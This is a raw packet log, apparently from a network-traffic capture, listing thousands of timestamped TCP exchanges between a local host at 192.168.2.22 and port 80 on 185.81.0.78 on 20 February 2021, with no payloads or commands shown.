Feb 20, 2021 09:48:08.784161091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784164906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784209013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784219027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784259081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784264088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784296989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784301043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784334898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784337997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784369946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784377098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784405947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784410954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784441948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784446955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784485102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784487009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784527063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784532070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784560919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784565926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784599066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784600019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784636021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784668922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784693003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784703970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784732103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784739971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784761906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784782887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784785032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784821987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784836054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784857035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784868002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784893036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784910917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784929037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784939051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.784964085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.784965992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785001040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785013914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785036087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785041094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785093069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785104036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785131931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785144091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785167933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785167933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785212040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785224915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785254002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785267115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785290003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785293102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785326958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785337925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785362959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785363913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785418034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785427094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785463095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785482883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785499096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785511017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785536051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785538912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785579920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785592079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785614967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785619974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785655022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785670996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785691977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785701036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785725117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785727978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785763025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785784006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785799026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785808086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785834074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785835028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785877943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785888910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785916090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785917044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785953045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785969973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.785986900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.785998106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786021948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786024094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786057949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786077023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786093950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786099911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786128998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786145926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786170006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786171913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786210060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786223888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786246061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786256075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786279917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786282063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786318064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786339998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786350965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786364079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786386967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786392927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786422968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786434889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786461115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786465883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786504984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786518097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786539078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786549091 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786572933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786576986 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786612034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786628008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786645889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786655903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786680937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786684990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786715984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786725044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786751032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786758900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786798000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786813021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786833048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786844969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786870003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786875010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786904097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786905050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786937952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786955118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.786973953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.786983967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787008047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787009954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787051916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787056923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787090063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787100077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787125111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787127018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787162066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787177086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787195921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787208080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787231922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787256002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787269115 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787281036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787305117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787314892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787342072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787349939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787388086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787401915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787421942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787431002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787456989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787460089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787493944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787503004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787527084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787535906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787560940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787561893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787596941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787611008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787638903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787641048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787677050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787687063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787712097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787714958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787748098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787760019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787782907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787792921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787817001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787818909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787852049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787862062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787887096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787889004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787930012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787931919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.787969112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.787977934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788002968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788007021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788038015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788050890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788074017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788079977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788106918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788106918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788142920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788156986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788177013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788187981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788213015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788220882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788260937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788278103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788295031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788305998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788331985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788333893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788367033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788377047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788399935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788409948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788435936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788436890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788470030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788491964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788512945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788520098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788548946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788552046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788587093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788608074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788621902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.788635015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.788666964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.793899059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.795412064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803556919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803600073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803630114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803658962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803685904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803714991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803728104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803742886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803756952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803761959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803765059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803771019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803778887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803780079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803812027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803812981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803823948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803843975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803864002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803874969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803886890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803905010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803925991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803934097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803949118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803962946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.803977013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.803992987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804017067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804027081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804040909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804059029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804073095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804088116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804102898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804117918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804127932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804147005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804168940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804174900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804212093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804223061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804240942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804241896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804264069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804270029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804294109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804301023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804325104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804331064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804357052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804366112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804390907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804399014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804421902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804426908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804454088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804457903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804483891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804486990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804512024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804516077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804543018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804546118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804568052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804574966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804595947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804610968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804621935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804642916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804647923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804672003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804701090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804707050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804728985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804730892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804738998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804758072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804775000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804786921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804801941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804816008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804830074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804852009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804852962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804883957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804898977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804914951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804927111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804944038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804953098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.804972887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.804995060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805000067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805021048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805030107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805042982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805058956 CET	80	49165	185.81.0.78	192.168.2.22
